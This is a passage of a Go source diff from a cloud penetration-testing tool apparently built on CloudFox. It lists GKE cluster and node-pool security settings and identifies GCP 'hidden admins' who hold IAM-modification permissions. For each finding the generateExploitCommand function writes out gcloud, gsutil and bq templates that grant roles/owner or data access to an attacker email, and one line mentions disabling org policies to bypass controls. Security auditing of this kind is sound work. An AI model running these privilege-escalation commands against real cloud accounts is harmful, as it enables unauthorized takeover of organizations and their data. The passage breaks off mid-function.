// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *GKEModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all project IDs that have data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectClusters {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID := range projectsWithData {
|
||||
clusters := m.ProjectClusters[projectID]
|
||||
nodePools := m.ProjectNodePools[projectID]
|
||||
|
||||
tables := m.buildTablesForProject(clusters, nodePools)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = GKEOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_GKE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *GKEModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allClusters := m.getAllClusters()
|
||||
allNodePools := m.getAllNodePools()
|
||||
|
||||
tables := m.buildTablesForProject(allClusters, allNodePools)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := GKEOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_GKE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds all tables for given clusters and node pools
|
||||
func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nodePools []GKEService.NodePoolInfo) []internal.TableFile {
|
||||
tableFiles := []internal.TableFile{}
|
||||
|
||||
// Clusters table - columns grouped by: identity, network/access, cluster-level security
|
||||
clusterHeader := []string{
|
||||
"Project", "Name", "Location", "Mode", "Status", "Version", "Release Channel",
|
||||
"Endpoint", "Private", "Authorized CIDRs",
|
||||
"WorkloadID", "NetPolicy", "BinAuth",
|
||||
}
|
||||
|
||||
var clusterBody [][]string
|
||||
for _, cluster := range clusters {
|
||||
clusterMode := "Standard"
|
||||
if cluster.Autopilot {
|
||||
clusterMode = "Autopilot"
|
||||
}
|
||||
releaseChannel := cluster.ReleaseChannel
|
||||
if releaseChannel == "" || releaseChannel == "UNSPECIFIED" {
|
||||
releaseChannel = "-"
|
||||
}
|
||||
endpoint := cluster.Endpoint
|
||||
if endpoint == "" {
|
||||
endpoint = "-"
|
||||
}
|
||||
|
||||
// Format authorized CIDRs
|
||||
authorizedCIDRs := formatAuthorizedCIDRs(cluster)
|
||||
|
||||
clusterBody = append(clusterBody, []string{
|
||||
m.GetProjectName(cluster.ProjectID), cluster.Name, cluster.Location,
|
||||
clusterMode, cluster.Status, cluster.CurrentMasterVersion, releaseChannel,
|
||||
endpoint, shared.BoolToYesNo(cluster.PrivateCluster), authorizedCIDRs,
|
||||
shared.BoolToYesNo(cluster.WorkloadIdentity != ""), shared.BoolToYesNo(cluster.NetworkPolicy),
|
||||
shared.BoolToYesNo(cluster.BinaryAuthorization),
|
||||
})
|
||||
}
|
||||
|
||||
if len(clusterBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "gke-clusters",
|
||||
Header: clusterHeader,
|
||||
Body: clusterBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Node pools table - node-level details including hardware security (like instances module)
|
||||
nodePoolHeader := []string{
|
||||
"Project", "Cluster", "Node Pool", "Machine Type", "Node Count",
|
||||
"Auto Upgrade", "Secure Boot", "Integrity", "Preemptible",
|
||||
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
|
||||
}
|
||||
|
||||
var nodePoolBody [][]string
|
||||
for _, np := range nodePools {
|
||||
saDisplay := np.ServiceAccount
|
||||
if saDisplay == "" {
|
||||
saDisplay = "-"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if saDisplay != "-" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, saDisplay)
|
||||
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
attackPaths = "No SA"
|
||||
}
|
||||
|
||||
// Format actual scopes for display
|
||||
scopes := formatGKEScopes(np.OAuthScopes)
|
||||
|
||||
// Get scope summary, default to "Unknown" if empty
|
||||
scopeSummary := np.ScopeSummary
|
||||
if scopeSummary == "" {
|
||||
scopeSummary = "Unknown"
|
||||
}
|
||||
|
||||
nodePoolBody = append(nodePoolBody, []string{
|
||||
m.GetProjectName(np.ProjectID), np.ClusterName, np.Name,
|
||||
np.MachineType, fmt.Sprintf("%d", np.NodeCount),
|
||||
shared.BoolToYesNo(np.AutoUpgrade),
|
||||
shared.BoolToYesNo(np.SecureBoot), shared.BoolToYesNo(np.IntegrityMonitoring),
|
||||
shared.BoolToYesNo(np.Preemptible || np.Spot),
|
||||
saDisplay, attackPaths, scopes, scopeSummary,
|
||||
})
|
||||
}
|
||||
|
||||
if len(nodePoolBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "gke-node-pools",
|
||||
Header: nodePoolHeader,
|
||||
Body: nodePoolBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// formatAuthorizedCIDRs formats the authorized CIDRs for display
|
||||
func formatAuthorizedCIDRs(cluster GKEService.ClusterInfo) string {
|
||||
if cluster.PrivateCluster {
|
||||
return "Private endpoint"
|
||||
}
|
||||
if !cluster.MasterAuthorizedOnly {
|
||||
return "0.0.0.0/0 (any)"
|
||||
}
|
||||
if len(cluster.MasterAuthorizedCIDRs) == 0 {
|
||||
return "None configured"
|
||||
}
|
||||
// Check if 0.0.0.0/0 is in the list (effectively public)
|
||||
for _, cidr := range cluster.MasterAuthorizedCIDRs {
|
||||
if cidr == "0.0.0.0/0" {
|
||||
return "0.0.0.0/0 (any)"
|
||||
}
|
||||
}
|
||||
// Show all CIDRs
|
||||
return strings.Join(cluster.MasterAuthorizedCIDRs, ", ")
|
||||
}
|
||||
|
||||
// formatGKEScopes formats OAuth scopes for display (extracts short names from URLs)
|
||||
func formatGKEScopes(scopes []string) string {
|
||||
if len(scopes) == 0 {
|
||||
return "-"
|
||||
}
|
||||
|
||||
var shortScopes []string
|
||||
for _, scope := range scopes {
|
||||
// Extract the scope name from the URL
|
||||
// e.g., "https://www.googleapis.com/auth/cloud-platform" -> "cloud-platform"
|
||||
parts := strings.Split(scope, "/")
|
||||
if len(parts) > 0 {
|
||||
shortScopes = append(shortScopes, parts[len(parts)-1])
|
||||
}
|
||||
}
|
||||
return strings.Join(shortScopes, ", ")
|
||||
}
|
||||
Executable
+966
@@ -0,0 +1,966 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
iampb "cloud.google.com/go/iam/apiv1/iampb"
|
||||
resourcemanager "cloud.google.com/go/resourcemanager/apiv3"
|
||||
resourcemanagerpb "cloud.google.com/go/resourcemanager/apiv3/resourcemanagerpb"
|
||||
foxmapperservice "github.com/BishopFox/cloudfox/gcp/services/foxmapperService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
crmv1 "google.golang.org/api/cloudresourcemanager/v1"
|
||||
"google.golang.org/api/iam/v1"
|
||||
"google.golang.org/api/iterator"
|
||||
)
|
||||
|
||||
var GCPHiddenAdminsCommand = &cobra.Command{
|
||||
Use: globals.GCP_HIDDEN_ADMINS_MODULE_NAME,
|
||||
Aliases: []string{"ha", "hidden"},
|
||||
Short: "Identify principals who can modify IAM policies (hidden admins)",
|
||||
Long: `Analyze GCP IAM policies to identify principals who can modify IAM bindings.
|
||||
|
||||
This module finds "hidden admins" - principals who may not have obvious admin roles
|
||||
but possess permissions to grant themselves or others elevated access.
|
||||
|
||||
Detected IAM modification capabilities:
|
||||
|
||||
Organization Level:
|
||||
- resourcemanager.organizations.setIamPolicy - Modify org-wide IAM
|
||||
- iam.roles.create/update at org level - Create/modify org custom roles
|
||||
|
||||
Folder Level:
|
||||
- resourcemanager.folders.setIamPolicy - Modify folder IAM (affects all children)
|
||||
|
||||
Project Level:
|
||||
- resourcemanager.projects.setIamPolicy - Modify project IAM
|
||||
- iam.roles.create/update - Create/modify project custom roles
|
||||
|
||||
Service Account Level:
|
||||
- iam.serviceAccounts.setIamPolicy - Grant SA access to others
|
||||
- iam.serviceAccounts.create + setIamPolicy combo
|
||||
|
||||
Resource Level IAM:
|
||||
- storage.buckets.setIamPolicy - Modify bucket IAM
|
||||
- bigquery.datasets.setIamPolicy - Modify dataset IAM
|
||||
- pubsub.topics/subscriptions.setIamPolicy - Modify Pub/Sub IAM
|
||||
- secretmanager.secrets.setIamPolicy - Modify secret IAM
|
||||
- compute.instances.setIamPolicy - Modify instance IAM
|
||||
- cloudfunctions.functions.setIamPolicy - Modify function IAM
|
||||
- run.services.setIamPolicy - Modify Cloud Run IAM
|
||||
- artifactregistry.repositories.setIamPolicy - Modify registry IAM`,
|
||||
Run: runGCPHiddenAdminsCommand,
|
||||
}
|
||||
|
||||
// IAMModificationPermission represents a permission that allows IAM policy modification
|
||||
type IAMModificationPermission struct {
|
||||
Permission string
|
||||
Category string
|
||||
Description string
|
||||
}
|
||||
|
||||
// HiddenAdmin represents a principal with IAM modification capabilities
|
||||
type HiddenAdmin struct {
|
||||
Principal string
|
||||
PrincipalType string
|
||||
Permission string
|
||||
Category string
|
||||
Description string
|
||||
ScopeType string // organization, folder, project, resource
|
||||
ScopeID string
|
||||
ScopeName string
|
||||
ExploitCommand string
|
||||
}
|
||||
|
||||
type HiddenAdminsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
AllAdmins []HiddenAdmin
|
||||
OrgAdmins []HiddenAdmin
|
||||
FolderAdmins []HiddenAdmin
|
||||
ProjectAdmins map[string][]HiddenAdmin // projectID -> admins
|
||||
ResourceAdmins []HiddenAdmin
|
||||
|
||||
// FoxMapper-based wrong admins
|
||||
WrongAdmins []foxmapperservice.WrongAdminFinding
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
|
||||
// OrgCache for ancestry lookups
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
|
||||
OrgIDs []string
|
||||
OrgNames map[string]string
|
||||
FolderNames map[string]string
|
||||
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type HiddenAdminsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o HiddenAdminsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o HiddenAdminsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPHiddenAdminsCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &HiddenAdminsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
AllAdmins: []HiddenAdmin{},
|
||||
OrgAdmins: []HiddenAdmin{},
|
||||
FolderAdmins: []HiddenAdmin{},
|
||||
ProjectAdmins: make(map[string][]HiddenAdmin),
|
||||
ResourceAdmins: []HiddenAdmin{},
|
||||
OrgIDs: []string{},
|
||||
OrgNames: make(map[string]string),
|
||||
FolderNames: make(map[string]string),
|
||||
LootMap: make(map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// GetIAMModificationPermissions returns permissions that allow IAM policy modification
|
||||
func GetIAMModificationPermissions() []IAMModificationPermission {
|
||||
return []IAMModificationPermission{
|
||||
// Organization-level IAM
|
||||
{Permission: "resourcemanager.organizations.setIamPolicy", Category: "Org IAM", Description: "Modify organization-wide IAM policy"},
|
||||
|
||||
// Folder-level IAM
|
||||
{Permission: "resourcemanager.folders.setIamPolicy", Category: "Folder IAM", Description: "Modify folder IAM policy (affects all children)"},
|
||||
|
||||
// Project-level IAM
|
||||
{Permission: "resourcemanager.projects.setIamPolicy", Category: "Project IAM", Description: "Modify project IAM policy"},
|
||||
|
||||
// Custom Role Management
|
||||
{Permission: "iam.roles.create", Category: "Custom Roles", Description: "Create custom IAM roles"},
|
||||
{Permission: "iam.roles.update", Category: "Custom Roles", Description: "Modify custom IAM role permissions"},
|
||||
|
||||
// Service Account IAM
|
||||
{Permission: "iam.serviceAccounts.setIamPolicy", Category: "SA IAM", Description: "Grant access to service accounts"},
|
||||
|
||||
// Org Policy (can disable security constraints)
|
||||
{Permission: "orgpolicy.policy.set", Category: "Org Policy", Description: "Modify organization policies"},
|
||||
|
||||
// Resource-specific IAM
|
||||
{Permission: "storage.buckets.setIamPolicy", Category: "Storage IAM", Description: "Modify bucket IAM policy"},
|
||||
{Permission: "bigquery.datasets.setIamPolicy", Category: "BigQuery IAM", Description: "Modify dataset IAM policy"},
|
||||
{Permission: "pubsub.topics.setIamPolicy", Category: "Pub/Sub IAM", Description: "Modify topic IAM policy"},
|
||||
{Permission: "pubsub.subscriptions.setIamPolicy", Category: "Pub/Sub IAM", Description: "Modify subscription IAM policy"},
|
||||
{Permission: "secretmanager.secrets.setIamPolicy", Category: "Secrets IAM", Description: "Modify secret IAM policy"},
|
||||
{Permission: "compute.instances.setIamPolicy", Category: "Compute IAM", Description: "Modify instance IAM policy"},
|
||||
{Permission: "compute.images.setIamPolicy", Category: "Compute IAM", Description: "Modify image IAM policy"},
|
||||
{Permission: "compute.snapshots.setIamPolicy", Category: "Compute IAM", Description: "Modify snapshot IAM policy"},
|
||||
{Permission: "cloudfunctions.functions.setIamPolicy", Category: "Functions IAM", Description: "Modify function IAM policy"},
|
||||
{Permission: "run.services.setIamPolicy", Category: "Cloud Run IAM", Description: "Modify Cloud Run service IAM policy"},
|
||||
{Permission: "artifactregistry.repositories.setIamPolicy", Category: "Artifact Registry IAM", Description: "Modify repository IAM policy"},
|
||||
{Permission: "cloudkms.cryptoKeys.setIamPolicy", Category: "KMS IAM", Description: "Modify KMS key IAM policy"},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Analyzing IAM policies to identify hidden admins...", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
|
||||
// Load OrgCache for ancestry lookups (needed for per-project filtering)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
|
||||
if err == nil && diskCache != nil && diskCache.IsPopulated() {
|
||||
m.OrgCache = diskCache
|
||||
}
|
||||
}
|
||||
|
||||
// Try to load FoxMapper data for wrongadmin analysis
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
|
||||
orgID := ""
|
||||
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
|
||||
orgID = m.Hierarchy.Organizations[0].ID
|
||||
}
|
||||
m.FoxMapperCache = gcpinternal.TryLoadFoxMapper(orgID, m.ProjectIDs)
|
||||
}
|
||||
|
||||
// Use FoxMapper wrongadmin analysis if available
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
svc := m.FoxMapperCache.GetService()
|
||||
m.WrongAdmins = svc.AnalyzeWrongAdmins()
|
||||
if len(m.WrongAdmins) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("FoxMapper found %d 'wrong admins' (admins without explicit roles/owner)", len(m.WrongAdmins)), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// Build permission map
|
||||
permMap := make(map[string]IAMModificationPermission)
|
||||
for _, p := range GetIAMModificationPermissions() {
|
||||
permMap[p.Permission] = p
|
||||
}
|
||||
|
||||
// Analyze organization-level IAM
|
||||
m.analyzeOrganizationIAM(ctx, logger, permMap)
|
||||
|
||||
// Analyze folder-level IAM
|
||||
m.analyzeFolderIAM(ctx, logger, permMap)
|
||||
|
||||
// Analyze project-level IAM for each project
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
m.analyzeProjectIAM(ctx, logger, projectID, permMap)
|
||||
}
|
||||
|
||||
// Generate loot (playbook)
|
||||
m.generateLoot()
|
||||
|
||||
if len(m.AllAdmins) == 0 && len(m.WrongAdmins) == 0 {
|
||||
logger.InfoM("No hidden admins found", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by scope type
|
||||
orgCount := len(m.OrgAdmins)
|
||||
folderCount := len(m.FolderAdmins)
|
||||
projectCount := 0
|
||||
for _, admins := range m.ProjectAdmins {
|
||||
projectCount += len(admins)
|
||||
}
|
||||
resourceCount := len(m.ResourceAdmins)
|
||||
|
||||
if len(m.AllAdmins) > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d hidden admin(s) with IAM modification permissions: %d org-level, %d folder-level, %d project-level, %d resource-level",
|
||||
len(m.AllAdmins), orgCount, folderCount, projectCount, resourceCount), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
|
||||
if len(m.WrongAdmins) > 0 {
|
||||
// Count by admin level
|
||||
orgWrong := 0
|
||||
folderWrong := 0
|
||||
projectWrong := 0
|
||||
for _, wa := range m.WrongAdmins {
|
||||
switch wa.AdminLevel {
|
||||
case "org":
|
||||
orgWrong++
|
||||
case "folder":
|
||||
folderWrong++
|
||||
default:
|
||||
projectWrong++
|
||||
}
|
||||
}
|
||||
logger.SuccessM(fmt.Sprintf("Found %d 'wrong admins' (FoxMapper): %d org-level, %d folder-level, %d project-level",
|
||||
len(m.WrongAdmins), orgWrong, folderWrong, projectWrong), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) analyzeOrganizationIAM(ctx context.Context, logger internal.Logger, permMap map[string]IAMModificationPermission) {
|
||||
orgsClient, err := resourcemanager.NewOrganizationsClient(ctx)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_HIDDEN_ADMINS_MODULE_NAME, "Could not create organizations client")
|
||||
}
|
||||
return
|
||||
}
|
||||
defer orgsClient.Close()
|
||||
|
||||
// Get IAM service for role resolution
|
||||
iamService, _ := m.getIAMService(ctx)
|
||||
|
||||
searchReq := &resourcemanagerpb.SearchOrganizationsRequest{}
|
||||
it := orgsClient.SearchOrganizations(ctx, searchReq)
|
||||
for {
|
||||
org, err := it.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
orgID := strings.TrimPrefix(org.Name, "organizations/")
|
||||
m.OrgNames[orgID] = org.DisplayName
|
||||
m.OrgIDs = append(m.OrgIDs, orgID)
|
||||
|
||||
policy, err := orgsClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: org.Name,
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, binding := range policy.Bindings {
|
||||
permissions := m.getRolePermissions(iamService, binding.Role, "")
|
||||
for _, member := range binding.Members {
|
||||
m.checkForHiddenAdmins(member, permissions, permMap, "organization", orgID, org.DisplayName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) analyzeFolderIAM(ctx context.Context, logger internal.Logger, permMap map[string]IAMModificationPermission) {
|
||||
foldersClient, err := resourcemanager.NewFoldersClient(ctx)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_HIDDEN_ADMINS_MODULE_NAME, "Could not create folders client")
|
||||
}
|
||||
return
|
||||
}
|
||||
defer foldersClient.Close()
|
||||
|
||||
iamService, _ := m.getIAMService(ctx)
|
||||
|
||||
searchReq := &resourcemanagerpb.SearchFoldersRequest{}
|
||||
it := foldersClient.SearchFolders(ctx, searchReq)
|
||||
for {
|
||||
folder, err := it.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
folderID := strings.TrimPrefix(folder.Name, "folders/")
|
||||
m.FolderNames[folderID] = folder.DisplayName
|
||||
|
||||
policy, err := foldersClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: folder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, binding := range policy.Bindings {
|
||||
permissions := m.getRolePermissions(iamService, binding.Role, "")
|
||||
for _, member := range binding.Members {
|
||||
m.checkForHiddenAdmins(member, permissions, permMap, "folder", folderID, folder.DisplayName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) analyzeProjectIAM(ctx context.Context, logger internal.Logger, projectID string, permMap map[string]IAMModificationPermission) {
|
||||
crmService, err := crmv1.NewService(ctx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
policy, err := crmService.Projects.GetIamPolicy(projectID, &crmv1.GetIamPolicyRequest{}).Do()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
iamService, _ := m.getIAMService(ctx)
|
||||
projectName := m.GetProjectName(projectID)
|
||||
|
||||
for _, binding := range policy.Bindings {
|
||||
if binding == nil {
|
||||
continue
|
||||
}
|
||||
permissions := m.getRolePermissions(iamService, binding.Role, projectID)
|
||||
for _, member := range binding.Members {
|
||||
m.checkForHiddenAdmins(member, permissions, permMap, "project", projectID, projectName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) checkForHiddenAdmins(member string, permissions []string, permMap map[string]IAMModificationPermission, scopeType, scopeID, scopeName string) {
|
||||
if member == "allUsers" || member == "allAuthenticatedUsers" {
|
||||
return
|
||||
}
|
||||
|
||||
principalType := extractPrincipalType(member)
|
||||
principal := extractPrincipalEmail(member)
|
||||
|
||||
for _, perm := range permissions {
|
||||
if iamPerm, ok := permMap[perm]; ok {
|
||||
admin := HiddenAdmin{
|
||||
Principal: principal,
|
||||
PrincipalType: principalType,
|
||||
Permission: perm,
|
||||
Category: iamPerm.Category,
|
||||
Description: iamPerm.Description,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
ExploitCommand: m.generateExploitCommand(perm, scopeType, scopeID),
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.AllAdmins = append(m.AllAdmins, admin)
|
||||
switch scopeType {
|
||||
case "organization":
|
||||
m.OrgAdmins = append(m.OrgAdmins, admin)
|
||||
case "folder":
|
||||
m.FolderAdmins = append(m.FolderAdmins, admin)
|
||||
case "project":
|
||||
m.ProjectAdmins[scopeID] = append(m.ProjectAdmins[scopeID], admin)
|
||||
case "resource":
|
||||
m.ResourceAdmins = append(m.ResourceAdmins, admin)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generateExploitCommand(permission, scopeType, scopeID string) string {
|
||||
switch permission {
|
||||
case "resourcemanager.organizations.setIamPolicy":
|
||||
return fmt.Sprintf("gcloud organizations add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
|
||||
case "resourcemanager.folders.setIamPolicy":
|
||||
return fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
|
||||
case "resourcemanager.projects.setIamPolicy":
|
||||
return fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
|
||||
case "iam.roles.create":
|
||||
return fmt.Sprintf("gcloud iam roles create customAdmin --project=%s --permissions=resourcemanager.projects.setIamPolicy", scopeID)
|
||||
case "iam.roles.update":
|
||||
return fmt.Sprintf("gcloud iam roles update ROLE_ID --project=%s --add-permissions=resourcemanager.projects.setIamPolicy", scopeID)
|
||||
case "iam.serviceAccounts.setIamPolicy":
|
||||
return fmt.Sprintf("gcloud iam service-accounts add-iam-policy-binding SA@%s.iam.gserviceaccount.com --member='user:[email protected]' --role='roles/iam.serviceAccountTokenCreator'", scopeID)
|
||||
case "orgpolicy.policy.set":
|
||||
return "# Disable org policy constraints to bypass security controls"
|
||||
case "storage.buckets.setIamPolicy":
|
||||
return "gsutil iam ch user:[email protected]:objectViewer gs://BUCKET_NAME"
|
||||
case "bigquery.datasets.setIamPolicy":
|
||||
return fmt.Sprintf("bq add-iam-policy-binding --member='user:[email protected]' --role='roles/bigquery.dataViewer' %s:DATASET", scopeID)
|
||||
default:
|
||||
return fmt.Sprintf("# %s - refer to GCP documentation", permission)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) getIAMService(ctx context.Context) (*iam.Service, error) {
|
||||
return iam.NewService(ctx)
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) getRolePermissions(iamService *iam.Service, role string, projectID string) []string {
|
||||
if iamService == nil {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
var roleInfo *iam.Role
|
||||
var err error
|
||||
|
||||
if strings.HasPrefix(role, "roles/") {
|
||||
roleInfo, err = iamService.Roles.Get(role).Do()
|
||||
} else if strings.HasPrefix(role, "projects/") {
|
||||
roleInfo, err = iamService.Projects.Roles.Get(role).Do()
|
||||
} else if strings.HasPrefix(role, "organizations/") {
|
||||
roleInfo, err = iamService.Organizations.Roles.Get(role).Do()
|
||||
} else {
|
||||
roleInfo, err = iamService.Roles.Get("roles/" + role).Do()
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return m.getKnownRolePermissions(role)
|
||||
}
|
||||
|
||||
return roleInfo.IncludedPermissions
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) getKnownRolePermissions(role string) []string {
|
||||
knownRoles := map[string][]string{
|
||||
"roles/owner": {
|
||||
"resourcemanager.projects.setIamPolicy",
|
||||
"iam.serviceAccounts.setIamPolicy",
|
||||
"iam.roles.create",
|
||||
"iam.roles.update",
|
||||
"storage.buckets.setIamPolicy",
|
||||
"bigquery.datasets.setIamPolicy",
|
||||
},
|
||||
"roles/resourcemanager.organizationAdmin": {
|
||||
"resourcemanager.organizations.setIamPolicy",
|
||||
},
|
||||
"roles/resourcemanager.folderAdmin": {
|
||||
"resourcemanager.folders.setIamPolicy",
|
||||
},
|
||||
"roles/resourcemanager.projectIamAdmin": {
|
||||
"resourcemanager.projects.setIamPolicy",
|
||||
},
|
||||
"roles/iam.securityAdmin": {
|
||||
"resourcemanager.projects.setIamPolicy",
|
||||
"iam.serviceAccounts.setIamPolicy",
|
||||
},
|
||||
"roles/iam.serviceAccountAdmin": {
|
||||
